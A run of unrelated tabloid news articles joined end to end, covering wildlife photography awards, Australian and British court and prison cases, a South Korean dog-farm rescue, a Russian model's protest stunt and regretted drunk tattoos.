A sorrowful image of a starving polar bear in the Canadian Arctic and an urban scene of a real-life fox next to a painted comrade in North London completed this year's top five.

Lions: The winning entry, this picture entitled 'Bond of Brothers' was taken in Tanzania by David Lloyd, a New Zealander living in the UK. Describing it, he said the two animals had rubbed faces for around 30 seconds before they settled down again, in a loving picture captured close up in black-and-white. The photographer said the image 'illustrates the emotion and feeling of animals and emphasises that this is not limited to humans'. The Natural History Museum's director Sir Michael Dixon said the winning picture 'provides a glimpse into the inner world' of lions. It was the winning entry among 45,000 pictures submitted for the awards, which were cut down to a shortlist of 25 and put to a public vote of some 16,000 nature lovers

Penguins: This picture by South African contestant Wim Van Den Heever was highly commended in the wildlife photography awards. Entitled Three Kings, it was taken at sunrise on a beach in the Falkland Islands, Britain's overseas territory in the south Atlantic. The photographer said two males had been fighting over a female, using their flippers to fight each other off. These are king penguins, one of the five types of the flightless bird which live on the islands. There are up to 19 species in total

African wild dog: This picture is called One Toy, Three Dogs, and was taken by Hungarian entrant Bence Mate in Mkuze in South Africa. He said the three dogs had all wanted to play with the leg of an impala and were trying to drag it in different directions, leading to this action shot where a part of the leg is in all three of the animals' mouths. The Natural History Museum said adult African wild dogs are merciless killers, but their pups are extremely cute and play all day long. The species is considered 'one of the world's most engangered mammals' by world wildlife bosses with fewer than 7,000 left

Polar bear: This picture by American contestant Justin Hofman was taken in the Canadian Arctic, with the heartbreaking title: 'A Polar Bear's Struggle'. It shows the hungry animal in an abandoned hunter's camp, a scene which the photographer said left his 'whole body pained' as he watched the animal struggle to stand up. The World Wide Fund for Nature describes polar bears as 'vulnerable' because of the disappearance of their sea ice habitat as a result of climate changeNotorious Australian Brothers 4 Life founder and a convicted terrorist involved in a jailhouse bust-up have faced court over the violent incident.

Bassam Hamzy, 40, was allegedly bashed by convicted terrorist Talal Alameddine, 26, during a fight inside Goulburn's Supermax prison - believed to be the country's toughest jail.

In October last year, the pair were seen having a 'heated discussion' while in the rear yard of the correctional centre.

Bassam Hamzy, 40, (left) was allegedly bashed by convicted terrorist Talal Alameddine, 26, (right) during a fight inside Goulburn's Supermax prison

Hamzy's time at Goulburn prison (pictured) has been littered with headline making incidents, from alleged drug dealing to brawls with inmates

The Daily Telegraph reported Hamzy looked annoyed before he and Alameddine allegedly began to physically fight and throw punches at each other before they were separated.

Medical staff attempted to treat the pair but both refused to be seen and neither have spoken about what happened or what caused the alleged altercation.

On New Year's Eve, Strike Force Raptor South charged them both with affray.

They both appeared at Goulburn Local Court via video link on Wednesday, but Alameddine was adjourned to March 20, while Hamzy's matter was adjourned to February 27.

Hamzy is expected to call the prison home until at least 2035.

He was initially imprisoned for the 1998 murder of a man outside a Sydney nightclub.

His sentence was extended by 11-and-a-half years when he masterminded a methylamphetamine ring from inside the prison, delivering more than a kilogram of the drug to Melbourne.

He also created the infamous 'Brothers 4 Life' gang while behind bars. His earliest release date is June 14, 2035.

Alameddine (pictured middle) was sentenced to a maximum 17 years behind bars in May last year

Medical staff attempted to treat the pair but both refused to be seen and neither have spoken about what happened or what caused the alleged altercation (pictures is Hamzy)

Alameddine was sentenced to a maximum 17 years behind bars in May last year.

He pleaded guilty to supplying the revolver used to murder police accountant Curtis Cheng in 2015 and recklessly possessing the same weapon in preparation for an act of terrorism.

Alameddine waved and blew kisses to supporters as he was led away from the NSW Supreme Court after being sentenced by Justice Peter Johnson.

Schoolboy Farhad Jabar Khalil Mohammad, a 15-year old extremist supporter of ISIS, shot dead Mr Cheng outside Parramatta police headquarters on October 2, 2015.

A spokesman for Corrective Services NSW confirmed an altercation had occurred inside the Goulburn prison (pictured) involving Bassam Hamzy and Talal Alameddine

Alameddine was sentenced to a minimum 13 years for supplying the gun eventually used by Farhad Jabar Khalil Mohammad (pictured) to shoot dead police accountant Curtis Cheng at Parramatta Police HQ in 2015

He had been given a .38 special Smith & Wesson by another ISIS supporter, Raban Alou, shortly before the murder. Alameddine, then 22, had supplied Alou with the weapon earlier in the day.

After Mr Cheng's murder, Farhad was shot and killed by special constables.

Justice Johnson said Alameddine was 'ready, willing and able' to provide a weapon for a terrorist act.

He was not persuaded Alameddine had shown any contrition or remorse.

At the time of his sentence Alameddine was classified an extreme high risk restricted inmate and already had a disciplinary history in Supermax which included assault.

Alameddine will be eligible for parole in August 2029.Hundreds of dogs and puppies have been rescued from a meat farm in South Korea by an animal rights charity.

The squalid farm in Hongseong in western South Korea, had been breeding dogs both for meat and to be sold as pets for eight years, keeping tiny puppies and adult dogs in cramped, rusting cages.

Nearly 200 Chihuahuas, corgis, huskies, Yorkshire terriers, poodles, Pomeranians, Shih Tzus, and French bulldogs have today been removed by Humane Society International (HSI) activists.

Rescued: Dogs look out from a cage at a dog farm during a rescue event, involving the closure of the farm organised by the Humane Society International (HSI), in Hongseong

Mission: A HSI team member carries a corgi from a cage to a crate so it can be taken away from the squalid meat and puppy farm

HSI activists had been able to move some of the cages indoors, and put straw on the floor, but after negotiations with the farmer, they were finally able to rescue the dogs this week

Cruelty: This farm had been operating as a combined dog meat and puppy mill business with almost 200 dogs and puppies on site

Newborn puppies were found living in cages with exposed wire floors with only heat lamps and disused tyres for insulation, while 'meat dogs' were kept outside in the freezing cold waiting to be sold to local restaurants.

Many of the dogs had untreated injuries or deformities to their paws and legs as a result of living in the small cages with no proper flooring.

Others were emaciated with matted fur, or had been left without water in their bowls.

As the farm functioned both to breed meat dogs and as a puppy mill, any 'pet dogs' which could not be sold would end up in the slaughterhouse.

'The lines between puppy mills and dog meat farms are routinely blurred throughout South Korea, and with our latest dog farm closure we are exposing the shocking reality of that,' Nara Kim of HSI South Korea said.

Newborn puppies were found living in cramped rusty cages with exposed wire floors with only heat lamps and disused tyres for insulation

Taken away: These dogs would have been bred to be sold as pets rather than for meat, however, if they had not sold they would been slaughtered for local restaurants

HSI provides a solution to help dog meat farmers give up their business as a growing number of South Koreans oppose the cruelty of the dog meat industry

Nearly 200 chihuahuas, corgis, huskies, jindos, Yorkshire terriers, poodles, pomeranians, shih tzus, and French bulldogs could today be rescued

Activists from HSI had visited the farm several times in recent weeks and were over the moon to finally be able to save the animals

'These dogs are suffering at the hands of two abusive industries, their ultimate fate depending on whether they will sell for more money as a pet or for meat.

'They all start life in this depressing, squalid place, with the lucky few ending up being a loved companion whilst their cage mates are served at a restaurant, or enter a chain of auctions where they are sold on to the next farmer to produce litter after litter of puppies.'

Activists from HSI had visited the farm several times in recent weeks, and had been able to move some of the cages indoors, and put straw on the floor.

Finally, after negotiations with the farmer which includes a 20-year contract which ensures he will stay out of the dog meat trade, HSI were finally able to rescue the dogs this week.

The owner, Lee Sang-gu, had been eager to close the farm as the dog meat trade has become increasingly unprofitable.

Dog meat consumption is declining rapidly in South Korea, particularly among younger generations.

Farmer no more: South Korean dog meat farmer Lee Sang-gu gives water to his dogs

Members of the Humane Society International (HSI) carry dogs in crates for transport at a dog farm during a rescue event, involving the closure of the farm organised by the HSI

New future: HSI have signed a 20-year contract with the owner of the farm to keep him out of the dog meat business

A growing number of South Koreans oppose the dog meat industry and no longer eat dog

Mr Lee takes a final look at some of his dogs before they are being taken away from the farm

Mr Lee says he felt ashamed to be a dog farmer, and that his own family had strongly opposed his profession.

'From the very beginning, my entire family has been against my dog farming,' he said.

'All my daughters and my wife want me to close it, and they have never wanted to visit the farm.

'I feel very ashamed to be a dog meat farmer and a puppy mill farmer so I barely tell anyone what I'm doing.'

The 200 dogs rescued in Hongseong will now be flown to the United States and Canada where they will be put up for adoption by HSI.

Mr Lee now hopes to become a security guard, using the financing provided by HSI in exchange for staying out of the dog meat business to take a computer literacy training course.

To help support the work of HSI in South Korea and elsewhere, click here.Dr Gyorgy Rakoczy, a Hungarian doctor working at Royal Manchester Children's Hospital, has been ordered to pass the IELTS test

A Hungarian children's doctor who previously left a little boy in a serious condition following a bungled operation has now been ordered to improve his English by passing the International English Language Testing System test.

Dr Gyorgy Rakoczy, who worked at the Royal Manchester Children's Hospital, wrongly injected the four year old with a potentially lethal amount of Phenol in 2009, which was handed to him by a nurse who had never worked with the drug before.

The 64 year old was temporarily suspended over the error in 2012, but later failed English tests in listening, reading, writing and speaking.

He was brought before a Medical Practitioners Tribunal this week, which put him a 12 month suspension under the condition that he passed the IELTS test.

The tribunal panel heard Dr Rakoczy, who is originally from Budapest, has been working in the UK since 2005.

The paediatric and thoracic surgeon was originally disciplined after a botched when a nurse, who had never worked with the drug before, handed Dr Rakoczy a concentration of 80% Phenol to inject into the young boy.

At the time Rakoczy - who was said at the hearing this week to have a 'limited command' of the English language - was meant to use a five per cent concentration of the substance but mistakenly used 80% strength.

The boy, who had been admitted over a suspected rectal prolapse, ended up with 'catastrophic' internal injuries and was left needing a colostomy bag.

Dr Rakoczy was temporarily suspended from his work at Royal Manchester Children's Hospital (pictured) after his misread a medicine bottle, causing a young boy serious internal injuries

He required numerous corrective operations, including the removal of a section of bowel and his parents - both healthcare professionals - said he found it difficult going to the park and attending birthday parties.

Rakoczy was allowed to carry on working at the hospital following the operation but was suspended for three months in 2012 for serious misconduct after a General Medical Council investigation.

He said he had an 'exceptionally heavy workload', including a number of important research and teaching roles and said he had 'terrible nightmares and sleepless nights' since the bungled surgery.

He underwent an assessment of his performance in 2016 and the following year took a test under the International English Language Testing System but he only scored an overall mark of 6.0 when he required 7.5 to pass.

Dr Rakoczy believes the IELTS tests are not appropriate for those over the age of 60 years old.

The hearing was told a team of assessors said there were 'issues with his command of English' and 'had difficulties with the use of it' with one saying she 'struggled to understand Rakcozy at times.'

But hospital colleagues said, whilst the surgeon's English was 'not perfect', it had 'improved considerably' and he was able to discuss matters and participate in team meetings.

A patient also came forward when to say the doctor would 'go beyond the call of duty' and added that she would be happy for him to 'perform surgery on her child tomorrow.'

The doctor's case came before the Medical Practitioners Tribunal Service (pictured)

Rakcozy's lawyer Andrew Hockton said Rakcozy, who is not currently working, posed no risk to patient safety. He added: 'His English language skills were not a barrier to communication.'

Ruling on the doctor's future, panel chairman David Urpeth said: 'The Tribunal recognises that Mr Rakoczy is a skilled and highly regarded doctor who has practised in the UK for many years.

'It also recognises that his colleagues raise no concern about his ability to communicate with colleagues and patients. However, the Tribunal simply cannot ignore the fact that Mr Rakoczy has failed to achieve the minimum level of pass mark in two IELTS tests.

'It concluded that, in light of Mr Rakoczy's failure to achieve the minimum level of pass mark or acceptable overall level of pass mark; despite his extensive time working as a consultant, and the evidence of his colleagues about his communication skills, these do not amount to exceptional circumstances.

'It was of the view that a lack of English language skills at the required standard could present a risk to patient safety. Further, the Tribunal considered that an ordinary and well informed member of the public would be surprised to learn that a doctor who had failed the English language tests had not been found to be impaired.'

Under the terms of his conditions, Rakoczy must notify the General Medical Council of any medical jobs he takes and show evidence he has passed an English language assessment. He was cleared of unrelated allegations of 'unacceptable professional performance.'A Sydney court will decide whether 'one of the most hated people in Australia', Salim Mehajer, should have his conviction quashed for assaulting a female journalist.

The disgraced property developer and former Auburn deputy mayor was found guilty of assault last year after slamming a car door on the arm of Seven News reporter Laura Banks as he tried to leave a Sydney police station in April 2017.

Mehajer's legal appeal against the assault conviction was heard in Downing Centre District Court on Wednesday.

Salim Mehajer (pictured in 2018 ) attended his court appeal via videolink on Wednesday

His lawyer, Zali Burrows, accused Banks of sending 'flirtatious  goading  insulting' emails to Mehajer prior to the media pack confronting him outside the police station, news.com.au reported.

Judge Graham Turnbull said the assault occurred under the most 'remarkable, unique and disturbing' due to the pack of journalists.

During the the 16 minute confrontation, Mehajer tried to flee in a taxi, but when the driver refused to take him, Banks and other journalists swooped in to try and get an interview

Judge Turnbull described the scenes as 'disturbing' and 'unprecedented'.

The 32-year-old then climbed into a waiting Porsche and invited Ms Banks to 'just jump in' before he slammed the door on her arm.

According to agreed facts, Ms Banks suffered bruising to her left hand.

The disgraced property owner (right) has appealed to have his assault conviction on Channel Seven reporter Laura Banks (left) dropped. He's currently serving a 11 month sentence for trying to influence a local government election

Ms Burrows told the court Mehajer had been suffering from an undiagnosed mental illness at the time which, coupled with 'extensive media harassment'.

'Mehajer is probably one of the most hated people in Australia and then he's hounded by a media pack,' Ms Burrows said.

'He was trapped ... there was no way out.'

Prosecutor Michael Reville agreed Mehajer was 'vulnerable' to media scrutiny and there'd been a 'level of aggression' in the way Ms Banks had pursued him.

'The roller door opens to exit Mr Mehajer, Ms Banks rushed towards him,' Mr Reville said.

Salim Mehajer slammed the car door on Laura Banks' left arm, which caused bruising

Salim Mehajer was convicted over the assault but had no penalty recorded against him

But prosecutors argued that the conviction should stand because Mehajer had been released on bail for a violent assault against a cab driver at Star Casino less than eight hours earlier.

Magistrate Joanne Keogh convicted Mehajer in February 2018, finding he was 'reckless' when he closed the car door on Ms Banks.

However, she didn't record a penalty and said footage of the incident suggested he acted with 'remarkable forbearance' in the circumstances and appeared to be a victim of 'predatory and appalling' behaviour by the media who 'hunted like a pack'.

Mehajer's lawyer accused Laura Banks of sending 'flirtatious  goading  insulting' emails to the former deputy mayor prior to the media pack confronting him outside the police station

Mehajer is currently serving an 11-month jail sentence for trying to influence a local government election and is due to be released in May.

He appeared in court on Wednesday via video link from Cooma Correctional Centre, where he took notes and waved at his father, Mohamed Mehajer, who attended court for his son's hearing, news.com.au reported.

Judge Turnbull said Mehajer show 'commendable, almost herculean restraint' in not retaliating to the media pack's 'goading'.

Judge Turnbull is expected to hand down his ruling on Friday.A heartbroken mother has shared the moment she learnt her 10-week-old son had died at the hands of his abusive father.

Debbra Chalmers has broken her silence after her former Queensland police officer husband Colin Randall fatally punched their son Kye in 2014.

Randall, 41, repeatedly lied to his wife, saying their baby boy died when he went wrongly applied CPR after the infant inexplicably went limp and pale.

But it was later revealed Randall had actually lost his temper, taking it out on his own son and pulping his liver in a horrendous act of violence that saw him jailed in 2018.

Debbra Chalmers (pictured) has broken her silence after her husband killed their infant son

'I found him on the ground... blue around the face and lying on the ground on the tiles,' Ms Chalmers told A Current Affair, an image she says she'll never forget.

Randall kept the true cause of their son's death a secret for 18 months, manipulating her into believing it was a total accident.

In reality, Randall had leaned over the crib and unleashed a punch on the child after learning he had been denied a promotion.

The police officer was 'frustrated' about a family illness and a failed work transfer to Hervey Bay.

It was the first and only time he had been left alone with the child, a court heard during a sentencing hearing last May.

Colin Randall (pictured) maintained for 18 months he didn't kill his son, saying he died while he was performing CPR

In a fit of rage, Randall punched his son (pictured) in the stomach and killed him

Ms Chalmers said she had repeatedly tried to end her relationship with her husband.

But every time she showed any inclination of leaving him, he would threaten to cut her off from her children.

'I would tell him I'm leaving and he would go back to saying "well if you go, you can go, but you can leave the children here. You'll never see them again."'

She claims he would tell her that he could use his influence as a police officer to keep custody of their children.

'I'm a police officer, no one's going to believe you,' she claims he told her.

Debbra (pictured leaving the Brisbane Supreme Court last May) said she tried to leave Randall

During the first half of a sentencing hearing last year, a Brisbane court heard Randall had been having an affair with a woman he worked with, who had links to Hervey Bay.

A judge accepted that while Randall didn't mean to kill his child, he did intend to hurt him.

He was sentenced to nine years in jail with a non-parole period of five years.

The judge also took into account that Randall tried to cover up the cause of death for so long, deciding it showed a lack of remorse.

Accounting for time already served, he will be eligible for parole in January 2021.A Russian model recently released from jail after 'offering traffic cops a threesome to turn a blind eye to her motoring offence' faces fresh charges after letting men fondle her breasts during a topless protest.

Kira Mayer posed topless while wearing a police uniform and invited 'underage' boys to fondle her breasts on the street.

The 24-year-old Instagram star claimed she was protesting about her treatment over the incident that saw her sentenced to 18 months in a Russian prison for driving without a licence and attacking a police officer.

In her latest bizarre stunt, she posed in police uniform on the streets of Moscow with a male blogger called Alexander Dogonyaev.

The pair accused men of various bogus misdemeanours relating to drugs and threatened to fine them on the spot.

Kira Mayer was filmed on the streets of Moscow asking passing men to fondle her breasts. The authorities claim they may be underage

Three 'youths' were filmed touching the Instagram model (left in the video and right) during her protest at her arrest and imprisonment last year

Then she displayed her naked breasts and asked the men if they wanted to touch her.

They declined but she was later seen on the street again inviting unidentified teenage boys to touch her.

Three were filmed enthusiastically taking part in the prank in the snow-covered streets. One even rubbed his hands together to warm them up before going in for a feel.

Her bizarre stunts were part of a campaign to claim that police were corrupt, she indicated.

But now she risks returning to jail for 'corruption of minors' and action over wearing a police uniform without authority, say reports in Russia.

Mayer can expect a fine for wearing a police uniform but 'she can get far more serious problems' for involving 'underage boys', said Vesti television news.

After accosting random men on the streets, Mayer then displayed her naked breasts and asked the men if they wanted to touch her

Mayer was jailed last September for driving without a license and attacking an officer after being stopped by traffic cops

'It is planned to open a criminal case over the corruption of minors', said the report.

Hue news outlet said police are now studying the videos.

Amid the media outcry in Russia she issued an 'apology' for her 'prank' protest.

In a recent interview she claimed that in the incident that led to her earlier jailing, police had stopped her because 'they wanted to extort my money'.

She admitted she went 'hysterical' she was detained for driving her Mercedes while banned on the way to a manicure.

Police have accused the Instagram model of 'corrupting minors' after the bizarre stunt in Moscow

Mayer was protesting about her treatment over her arrest that saw her sentenced to 18 months in a Russian prison for driving without a licence and attacking a police officer

She accused police of leaking a fake claim she offered sex after she told officers: 'I am a public figure.'

Mayer claimed a traffic policeman Googled her then vowed: 'You will get your popularity, I'll arrange this for you.'

She alleged police 'all are fraudsters'.

'I had PMS, I was upset, and stressed,' she said. 'I had been driving for nine months [while banned] and no one caught me before this.'

During the incident last May Mayer grabbed the officer's report then scratched and kicked them as she flew into a rage, even grabbing documents from the officer and trying to drive away from the scene.

Mayer closed her Instagram account which had 148,000 followers for her often provocative pictures and videos

Earlier it was reported the social media star offered sex 'solo or duet' in an attempt to avoid charges, according to law enforcement sources cited by Komsomolskaya Pravda.

The policemen 'declined her offer and detained her', it was reported.

Mayer was meant to be serving a 15-month driving ban issued last November when she left the scene of an accident.

She was released after serving some five months of an 18 month sentence.

The model claimed she was 'resented' in jail for her looks and another inmate spilled boiling water on her breasts.

After she was arrested, Mayer closed her Instagram account which had 148,000 followers for her often provocative pictures and videos.

She was a frequent visitor to Dubai and Paris where she was photographed.Maria Spirache, 20, and an accomplice posed as charity workers and used a clipboard as cover to distract victims. She is seen in an undated mug shot

A Romanian migrant who embarked on a ten-day pick-pocketing campaign in Britain after she quit her job because it was 'too hard' was behind bars today.

Maria Spirache, 20, and an accomplice posed as charity workers and used a clipboard as cover to distract victims - many of whom were elderly and were withdrawing money from cashpoints.

In January last year, the pair stole cash, jewellery and other valuables by falsely claiming to be fundraising for a children's charity.

One disabled man lost 220 in a shopping mall as he was unfolding his walking stick whilst other victims lost their mobile phones when Spirache ambushed them as they sat at tables outside coffee shops in the bustling Market Street area of Manchester.

One 88-year old woman was waiting for her husband inside a busy Santander bank when Spirache brazenly tried to remove a watch from her wrist.

And a dementia sufferer out with his carer lost 200 when they were distracted by Spirache as they were at cashpoint.

One international college student about to deposit 8,600 in bags of cash at an HSBC so he could pay for his accommodation and tuition fees, lost 2,000 whilst he was asked by Spirache to sign a bogus fund raising form.

In a statement the disabled man whose pocket was picked by Spirache as he was trying to donate a one pound coin said: 'I am very upset and angry at what she did, and I feel like I have been conned out of my pride.

'I spend a lot of time helping others to keep them safe and I feel like I've become a victim myself, which hurts.'

The Chinese student, who attends Manchester University, said: 'I work hard to hold down two jobs to help me fund my studies and this money was all I had to assist with my accommodation.

'It took me months to collect the money and I had to work long hours for it. It was going to help cover my living expenses and this theft has made me angry and foolish. Tuition fees for international students are expensive and I had to work hard to get the money.'

Spirache moved to Oldham and said she had a job in the UK but resigned and turned to thieving to get money for her nephew who still lives in Romania.

At Manchester Crown Court, she showed no emotion as she was locked up for 32 months for ten offences of theft, two of attempted theft and attempted shoplifting. Police are hunting her female cousin who helped with the thefts.

Sentencing Judge Hilary Manley told Spirache: 'These were planned, organised and despicable offences.

'Together the two of you preyed on members of the public who were simply enjoying a meal or cup of coffee or otherwise going about their daily business.

'You used planned and practised distraction techniques in cafes, food wellness stores, supermarkets and cash points over a period of 10 days last year.'

The judge said Spirache and her cousin were guilty of 'cynical' offences which 'showed no regards for the feelings of others'.

She continued: 'You systematically went from victim to victim to harness as much cash or goods for cash as possible.

'It's not even as though you are desperate for drugs and are committing these offences for your next hit.

'This was professional thieving where you were preying, in some cases, on the most vulnerable of others, relying on someone being distracted enough for them to not notice what was going on.'

The court heard Spirache was caught following a police operation which began following a spate of pickpocketing thefts across the city centre.

Spirache ambushed them as they sat at tables outside coffee bars in the bustling Market Street area of Manchester (pictured)

Prosecutor Simone Flynn said victims were targeted at cafe tables when Spirache and her cousin Elizabetta Stan would place A4 size clipboards in front of them whilst they stole their phones.

The disabled victim who usually requires a mobility scooter was in Aldi in the Arndale centre when he was approached by Spirache holding a clipboard as he was unfolding his walking stick.

Miss Flynn added: 'She kissed his hand and she told him she was collecting for charity. He got out a pound coin from his pocket. He then signed the document and was told he was assisting in relation to charity.

'When he looked back into his wallet he realised he had been distracted and 220 was taken from him.'

The court heard the 88 year old woman was sitting on a chair whilst her elderly husband was at the counter of their bank when the pickpockets sat down beside her.

Miss Flynn said: 'They began to talk close to her face whilst holding her wrist and removing her glove. She then realised they had begun to remove her watch as they had unclasped the strap and pulled it down to her knuckles.

'She managed to push them away and they both fled.' One man in his mid-70s was a Barclays Bank ATM withdrawing money when Spirache pushed a document between him and the keypad whilst stealing 200. One 60-year old man suffering from dementia was targeted as he withdrew 300 from a Lloyds ATM.

Miss Flynn said: 'He suffers with severe health issues including dementia and he went to exit with his wallet in his hand when he was approached by the two women.

'He was shown some paperwork and asked to donate money to a children's charity. He initially donated 10 but when he was distracted they removed a further 200 from his wallet.'

Spirache was arrested whilst trying to steal children's clothing from a Boots store. Her lawyer Rachel Faux said: 'The sequence of events happened over a ten day period. She was in company with her cousin but it was the cousin who took the leading role.

'She is of a very young age and she is very upset by the circumstances she finds herself in.

'She is truly sorry for what she has done, and this is genuine. This was born out of immaturity and naivety.'An Instagram model and single mother is wanted by police over a series of burglaries at cafes and convenience stores in Sydney's northern beaches.

Monique Marina Agostino, 23, of Belrose, failed to turn up to Manly Local Court on Wednesday after she was charged with several break-ins, The Manly Daily reported.

Police allege Agostino went on a burglary spree last November, targeting several businesses in Killarney Heights, Forestville and St Ives.

Monique Marina Agostino, 23 (pictured), of Belrose, failed to turn up to Manly Local Court on Wednesday after she was charged with several break-ins

Police allege Agostino (pictured) went on a burglary spree last November, targeting several businesses in Killarney Heights, Forestville and St Ives

When the 23-year-old failed to appear before the court on Wednesday, Magistrate Christopher Longley ordered a warrant for her arrest.

The former property manager is charged with two counts of break and entering a house or building to steal property valued at less than $60,000.

She is also charged with break and entering a house or building with intent to steal, one count of aggravated break and enter a dwelling in company to steal less than $60,000, and one count of dishonestly obtain property by deception.

Documents tendered to the court allege that Agostino targeted several businesses and properties during an early morning burglary spree.

Agostino allegedly first broke into the Pound of Pizza restaurant in Tramore Pl Killarney Heights at 1.52am on November 6 and stole a mobile phone.

Minutes later, it's alleged the 23-year-old former Killarney Heights High School student broke into the nearby House of Fruit convenience store at 1.54am.

When Agostino (pictured) failed to appear before the court on Wednesday, Magistrate Christopher Longley ordered that an arrest warrant be issued

Agostino (pictrued left and right) allegedly targeted several businesses and properties in Sydney's northern beaches during an early morning burglary spree

Not long after, at 1.56, police allege Agostino then attempted to break into Le Parisen Cafe.

Within an hour, she allegedly targeted Stanley St Cafe in St Ives, where police claim she stole $300 cash and a Westpac credit card.

Officers allege she later used the credit card to buy food with a total value of $11.55 at McDonald's Brookvale.

Agostino (pictured) is charged with two counts of break and enter house or building to steal property valued at less than $60,000

Agostino (pictured left and right) had been granted conditional bail and didn't enter a plea

On November 24, police allege Agostino broke into Forestville Bakery and stole $1000 in the presence of another person.

According to bail documents tendered to the court, the prosecution are planning to include CCTV footage as part of its case.

Agostino had initially been granted conditional bail but didn't enter a plea.

Her former barrister, Bronwyn Pullinger, who appeared in court on behalf of Agostino on January 23, has since withdrawn from the case.Advertisement

Handwritten misspelt scribble, indistinguishable pictures and a lot of regret.

Drunk tattoos are one of the riskiest parts of a night out - and most of the time Australians who put themselves through the pain are left with a lifetime of regret.

While there's no law prohibiting drunk people from getting tattoos, top surgeon Dr Laith Barnouti warns against it.

From quirky handwritten jokes to small poorly drawn cartoons - Daily Mail Australia has compiled images of tattoos some would rather forget.

In a tribute with a twist to McCain Foods Limited, one man got the well-known slogan permanently put on his body with a personal adjustment. Brandished on top of his thigh, the tattoo reads: 'AH McCAIN I'M Munted AGAIN'

Another person shared an image of his tattoo, with a popular song line from Big Shaq's hit song 'Mans Not Hot'. 'Two plus two is four, minus one is three, quick mafffs,' the tattoo reads

Another man shared his tattoo, with cursive writing that reads: 'If trees had c**ts I'd live in the forest'

A woman got a badly drawn fish tattooed to the inside of her pointer finger, saying 'Fish fingers anyone? Lol'

Leading surgeons are urging for the costly mistake to be no more and are calling for an overhaul of tattoo parlours.

Dr Barnouti is pushing for the ban as he is fed up of removing tattoos from patients and often pushes people away.

'Many say they did it at a time they were intoxicated, high and were not fully in the right frame of mind,' he said.

'They popped into a tattoo parlour on a Saturday night after having few drinks and thought it was good idea to have it done.

'Not only were they not thinking straight but they were not able to provide full consent.

'They literally were not realising what they were doing.'

From tattooing the name of an ex-partner, silly cartoons to what look like handwritten odes to Australian classics, Dr Barnouti has seen it all.

The man with the pain in the leg tattoo shared his image, saying: 'Definitely no regrets on this one'

One man even went as far to get 'A few tricks' tattoos on his inner bicep so when he wears a shirt, he can say he's got 'a few tricks up his sleeve'

Another man shared his painful piece of art, covering the entire palm of his hand with the words 'high five'. 'I Do Not regret this one bit,' he shared under the image

But not only can a tattoo be embarrassing, it can be costly as well in the long run.

On top of paying up to $100 to get the tattoo, regrettable customers can fork out hundreds for its removal.

Dr Barnouti charges between $150-$450 per tattoo-removal session. And that's depending on the size of the tattoo as well.

'Some of these tattoos can't be removed by laser and need surgical removal, which leaves behind a scar,' he said.

The concerned cosmetic surgeon said in some cases he has had to turn people back because the removal surgery would be too damaging.

Dr Barnouti said in any other surgery a patient would have to be clear-headed, consenting and sober.

One man shared an image of a back tattoo with cursive writing saying 'My mom is my angle' rather than 'angel'

Others got their tattoos as part of a joke, with puns ranging from 'pain in the leg' to 'bees knees'

Another man claimed he was intoxicated when he decided he wanted a tattoo on his ankle with the numbers of a gear shift

WHAT ARE THE AUSTRALIAN TATTOO RULES? Anyone under the age of 18 must provide written consent from a parent or guardian to get a tattoo. In the written consent, the style of the tattoo must be clearly explained and the location of the design pointed out in detail.

While some schools and workplaces may ban tattoos, a person cannot be disciplined if the tattoo has cultural, racial or religious significance. If they do, the school or workplace could face discrimination charges.

A tattoo in Australia can range anywhere from $125 to $1,500 depending on the size of the design.

Tattooing businesses must be registered with their local council under the Public Health and Wellbeing Act 2008.

While there are no laws preventing an inebriated person from getting a tattoo, experts warn against it for numerous reasons. Not only can it lead to regret later on, but alcohol things the blood, which leads to excessive and prolonged bleeding during the tattoo process.

Laser cannot remove all types of tattoos and some people may need to receive cosmetic surgery. This can leave behind scarring that can stay with you for the rest of your life. Advertisement

So he can't see why the same rule shouldn't apply to tattoo parlours.

'Tattoos are essentially an invasive medical procedure. The process breaks the skin and injects a fluid into the dermis layer of the skin to change the pigment.

'It comes with risk and it is permanent. It can only be removed through a surgical procedure that leaves permanent scarring or multiple sessions of lasers. Some can not be removed at all.'

He flagged three important changes: a customer must not be intoxicated, they must provide full written consent, and go through an official cooling off period for 48 hours.

'More rigorous laws will not only place greater responsibility on all parties, it will reduce the risk of any health issues and reduce the incidence of people getting tattoos when they are not in the right frame of mind.'

Besides the obvious reason of possible regret later on down the track, alcohol is a blood thinner that can lead to excessive bleeding during the tattoo process.

By law, it is illegal for a tattooist to ink anyone under the age of 18, unless they have written consent from the minor's parent or guardian. Even then, the consent form must detail the design and exact location of it on the body.

Other regrets include a badly drawn gameboy, a tattoo with a can of hand-drawn Jack Daniels with 'YTB' (yeah the boys) and a tattoo of a cheeseburger

Leading top surgeon Dr Laith Barnouti is pushing for a ban of drunk tattoos and is calling for an overhaul of tattoo parlous as he is fed up of removing them

Other regrets include a badly drawn gameboy (pictured), a tattoo with a can of hand-drawn Jack Daniels with 'YTB' (yeah the boys) and a tattoo of a cheeseburgerA prison governor who reached two unlawful verdicts on a documentary watched by 1.4million viewers is being forced to undergo training.

The official told Durham prison inmate Tommy Calder that staff were 'allowed to strike' convicts if they felt threatened - a breach of rules on the use of force - after the convicted appeared with a bloody face before Channel 4 cameras.

Unlawful adjudications aired in the final episode of three-part series Prison and the verdicts have now been quashed with the decisions placed under review.

The governor at Durham prison (pictured) was found to have reached two unlawful verdicts in a case that was shown in the final episode of Channel 4's Prison documentary

Calder (pictured) was left bloodied and alleged that he had been assaulted, but the governor ruled against him in a decision that has now been quashed

The head of the Prison and Probation Service has written to a charity for inmates admitting the failings, the Guardian reports.

The final episode featured details of an incident in which staff removed a television from an inmate's cell and placed him on a basic regime.

Tommy Calder, the convict in question, accused staff of attacking him as they removed the set. One officer said that Calder kicked him and that he punched him in retaliation.

Although the alleged violence was not filmed, footage of the incident's aftermath showed nine prison officers escorting Calder from his cell as the inmate wore only underwear and had a badly marked face and one eye closed.

An investigation into the alleged assault by a member of staff ensued. It also probed whether Calder had been in possession of a weapon and had attacked the officer. The prison governor found that Calder was guilty on both counts.

She said that the inmate had given her 'no reason to doubt the word of the officer'. The governor said she found the assault proven 'on the balance of probabilities'.

The governor was ruling on allegations of assault at this prison and ruled on the basis of the balance of probabilities

Balance of probabilities is the proof required in civil cases, compared with the 'beyond reasonable doubt' standard in criminal cases.

Prison standards state that charges against inmates must be dismissed if they are not proven beyond reasonable doubt.

When Calder asked the Durham prison governor if she had seen pictures of his injuries, she said that the use of force 'is not always clean and tidy' but officers can strike if they feel threatened.

The prison service instruction 47/2011 rules on the use of force in jails is 42 pages. It states that force is lawful if it is necessary and proportionate to the seriousness of the situation.

Regulations warns that blows to the head might fracture the skull of lead to a brain haemorrhage.

